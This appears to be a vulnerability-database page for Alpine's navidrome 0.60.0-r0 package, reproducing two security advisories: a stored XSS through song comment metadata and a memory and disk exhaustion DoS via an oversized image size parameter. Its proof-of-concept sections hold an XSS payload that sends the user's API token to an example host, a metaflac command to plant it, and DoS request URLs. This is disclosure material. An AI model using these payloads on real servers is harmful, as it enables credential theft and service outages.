Lookup for vulnerable packages by Package URL.

Purlpkg:apk/alpine/navidrome@0.60.0-r0?arch=armhf&distroversion=edge&reponame=community
Typeapk
Namespacealpine
Namenavidrome
Version0.60.0-r0
Qualifiers
arch armhf
distroversion edge
reponame community
Subpath
Is_vulnerablefalse
Next_non_vulnerable_versionnull
Latest_non_vulnerable_versionnull
Affected_by_vulnerabilities
Fixing_vulnerabilities
0
url VCID-a6qc-s7js-r7a5
vulnerability_id VCID-a6qc-s7js-r7a5
summary
Navidrome has XSS via comment from song metadata
### Summary

An XSS vulnerability in the frontend allows a malicious attacker to inject code through the comment metadata of a song to exfiltrate user credentials.

An attacker's maliciously crafted song has to be added to Navidrome to exploit the vulnerability.

### Details

The frontend is using React. In various places, the code uses the `dangerouslySetInnerHTML` escape hatch to set the content of an HTML element.

In some places, the value is first sanitized by removing anything looking like an HTML tag. In at least one place the value is used as is, thus leading to the XSS vulnerability.

In `MultiLineTextField` component, the input is split into lines and rendered through the `dangerouslySetInnerHTML` property. 

```js
<div
  data-testid={`${source}.${idx}`}
  key={md5(line + idx)}
  dangerouslySetInnerHTML={{ __html: line }}
/>
```

This component is then used in the `SongInfo` and `AlbumInfo` components, when rendering the comment of the song or album. The contents of the comments field is taken verbatim from the metadata of a song, such as the VORBIS `COMMENT` comment of a FLAC file.

By crafting the contents of the comment field, an attacker can inject code into the frontend, which runs whenever a user views the song or album info.

Additionally, as the Navidrome API token is kept in local storage and since there's no CSP in place unless the user's configured one outside of Navidrome, the attacker can exfiltrate the API token.

### PoC

1. Modify the comment field of a song to contain the following payload using a tool like MusicBrain'z Picard:

```js
<img src=x onerror="fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)" />
```

or use `metaflac`:

```shell
echo '<img src=x onerror="fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)" />' | metaflac --set-tag=comment=<(cat) file.flac
```

2. Add the song to Navidrome
3. Enter the "Songs" or one of the albums page, click the "kebab menu" and then "Get Info"

In this payload, a broken image can be seen in the info dialog.

<img width="996" height="660" alt="image" src="https://github.com/user-attachments/assets/1467cdff-17b2-4dc6-9fb5-0a83c021ca04" />

In the developer tools' network inspector, the request exfiltrating the token to an example domain can be seen.

<img width="410" height="34" alt="image" src="https://github.com/user-attachments/assets/3f668797-63a6-4355-ae57-e95bde444143" />


### Impact

The vulnerability affects users of the Navidrome UI with songs from untrusted sources.

### Mitigations

- Users of Navidrome should configure a strict [[Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) in their reverse-proxy to make exfiltration more difficult
- Users of Navidrome should not index songs from untrusted sources without first vetting their metadata
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-25578
reference_id
reference_type
scores
0
value 0.00015
scoring_system epss
scoring_elements 0.03136
published_at 2026-06-05T12:55:00Z
1
value 0.00018
scoring_system epss
scoring_elements 0.04824
published_at 2026-06-09T12:55:00Z
2
value 0.00018
scoring_system epss
scoring_elements 0.04795
published_at 2026-06-08T12:55:00Z
3
value 0.00018
scoring_system epss
scoring_elements 0.04834
published_at 2026-06-07T12:55:00Z
4
value 0.00018
scoring_system epss
scoring_elements 0.04843
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-25578
1
reference_url https://github.com/navidrome/navidrome
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/navidrome/navidrome
2
reference_url https://github.com/navidrome/navidrome/commit/d7ec7355c9036d5be659d6ac555c334bb5848ba6
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-05T14:20:04Z/
url https://github.com/navidrome/navidrome/commit/d7ec7355c9036d5be659d6ac555c334bb5848ba6
3
reference_url https://github.com/navidrome/navidrome/releases/tag/v0.60.0
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-05T14:20:04Z/
url https://github.com/navidrome/navidrome/releases/tag/v0.60.0
4
reference_url https://github.com/navidrome/navidrome/security/advisories/GHSA-rh3r-8pxm-hg4w
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-05T14:20:04Z/
url https://github.com/navidrome/navidrome/security/advisories/GHSA-rh3r-8pxm-hg4w
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-25578
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-25578
fixed_packages
0
url pkg:apk/alpine/navidrome@0.60.0-r0?arch=armhf&distroversion=edge&reponame=community
purl pkg:apk/alpine/navidrome@0.60.0-r0?arch=armhf&distroversion=edge&reponame=community
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:apk/alpine/navidrome@0.60.0-r0%3Farch=armhf&distroversion=edge&reponame=community
aliases CVE-2026-25578, GHSA-rh3r-8pxm-hg4w
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-a6qc-s7js-r7a5
1
url VCID-ubbg-k4kr-37e8
vulnerability_id VCID-ubbg-k4kr-37e8
summary
Navidrome affected by Denial of Service and disk exhaustion via oversized `size` parameter in `/rest/getCoverArt` and `/share/img/<token>` endpoints
### Summary
Authenticated users can crash the Navidrome server by supplying an excessively large `size` parameter to `/rest/getCoverArt` or to a shared-image URL (`/share/img/<token>`). When processing such requests, the server attempts to create an extremely large resized image, causing uncontrolled memory growth. This triggers the Linux OOM killer, terminates the Navidrome process, and results in a full service outage.

If the system has sufficient memory and survives the allocation, Navidrome then writes these extremely large resized images into its cache directory, allowing an attacker to rapidly exhaust server disk space as well.

### Details
Both `/rest/getCoverArt` and `/share/img/<token>` accept a `size` parameter that is passed directly into the image processing routine without any upper bound validation. When a very large integer is provided, Navidrome attempts to generate a resized image of that size. This leads to excessive memory allocation inside the image resizing path.

In the `/rest/getCoverArt` handler, the value is read as:

```go
size := p.IntOr("size", 0)
imgReader, lastUpdate, err := api.artwork.GetOrPlaceholder(ctx, id, size, square)
```

Because no limit is enforced, the image subsystem receives the supplied value as-is. When the requested size is extremely large, the process consumes large amounts of RAM until it is killed by the kernel's OOM killer. If the system has enough available memory to complete the resize operation, the resulting oversized image is then written to Navidrome's cache directory, which can quickly fill the server's disk.

The same behavior is reachable through `/share/img/<token>` as long as the attacker possesses a valid sharing token.

### PoC
1. Authenticate normally to obtain access to `/rest/getCoverArt` or a valid sharing link containing a `/share/img/<token>` URL.
2. Send a regular request with a small size value, for example:

```
/rest/getCoverArt?...&size=300&square=true
```

3. Replace the `size` parameter with a very large number, such as:

```
/rest/getCoverArt?...&size=300000&square=true
```

4. The server rapidly allocates memory while attempting to create an oversized image. This leads to the Navidrome process being terminated by the OOM killer.
5. The same behavior can be reproduced with a valid shared-image link:

```
/share/img/<token>?size=300000&square=true
```

If the system does not run out of memory, the oversized resized image is written to the cache directory, causing disk usage to grow quickly.

### Impact
Supplying an excessively large `size` parameter to `/rest/getCoverArt` or `/share/img/<token>` allows any authenticated user to trigger a Denial of Service condition. During image resizing, the server attempts to allocate extremely large amounts of memory, which can cause not only Navidrome itself to be terminated by the OOM killer, but in some configurations may also destabilize or crash the entire host system.

On systems with sufficient memory, the oversized resized images are written to Navidrome's cache directory instead, allowing an attacker to rapidly consume all available disk space. This leads to a second form of Denial of Service, where the host becomes unable to write logs, operate dependent services, or perform basic system tasks due to storage exhaustion.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-25579
reference_id
reference_type
scores
0
value 0.00021
scoring_system epss
scoring_elements 0.0603
published_at 2026-06-05T12:55:00Z
1
value 0.00024
scoring_system epss
scoring_elements 0.07176
published_at 2026-06-09T12:55:00Z
2
value 0.00024
scoring_system epss
scoring_elements 0.07155
published_at 2026-06-08T12:55:00Z
3
value 0.00024
scoring_system epss
scoring_elements 0.07198
published_at 2026-06-07T12:55:00Z
4
value 0.00024
scoring_system epss
scoring_elements 0.07212
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-25579
1
reference_url https://github.com/navidrome/navidrome
reference_id
reference_type
scores
0
value 9.2
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/navidrome/navidrome
2
reference_url https://github.com/navidrome/navidrome/releases/tag/v0.60.0
reference_id
reference_type
scores
0
value 9.2
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-05T14:24:49Z/
url https://github.com/navidrome/navidrome/releases/tag/v0.60.0
3
reference_url https://github.com/navidrome/navidrome/security/advisories/GHSA-hrr4-3wgr-68x3
reference_id
reference_type
scores
0
value 9.2
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-05T14:24:49Z/
url https://github.com/navidrome/navidrome/security/advisories/GHSA-hrr4-3wgr-68x3
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-25579
reference_id
reference_type
scores
0
value 9.2
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-25579
fixed_packages
0
url pkg:apk/alpine/navidrome@0.60.0-r0?arch=armhf&distroversion=edge&reponame=community
purl pkg:apk/alpine/navidrome@0.60.0-r0?arch=armhf&distroversion=edge&reponame=community
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:apk/alpine/navidrome@0.60.0-r0%3Farch=armhf&distroversion=edge&reponame=community
aliases CVE-2026-25579, GHSA-hrr4-3wgr-68x3
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-ubbg-k4kr-37e8
Risk_scorenull
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:apk/alpine/navidrome@0.60.0-r0%3Farch=armhf&distroversion=edge&reponame=community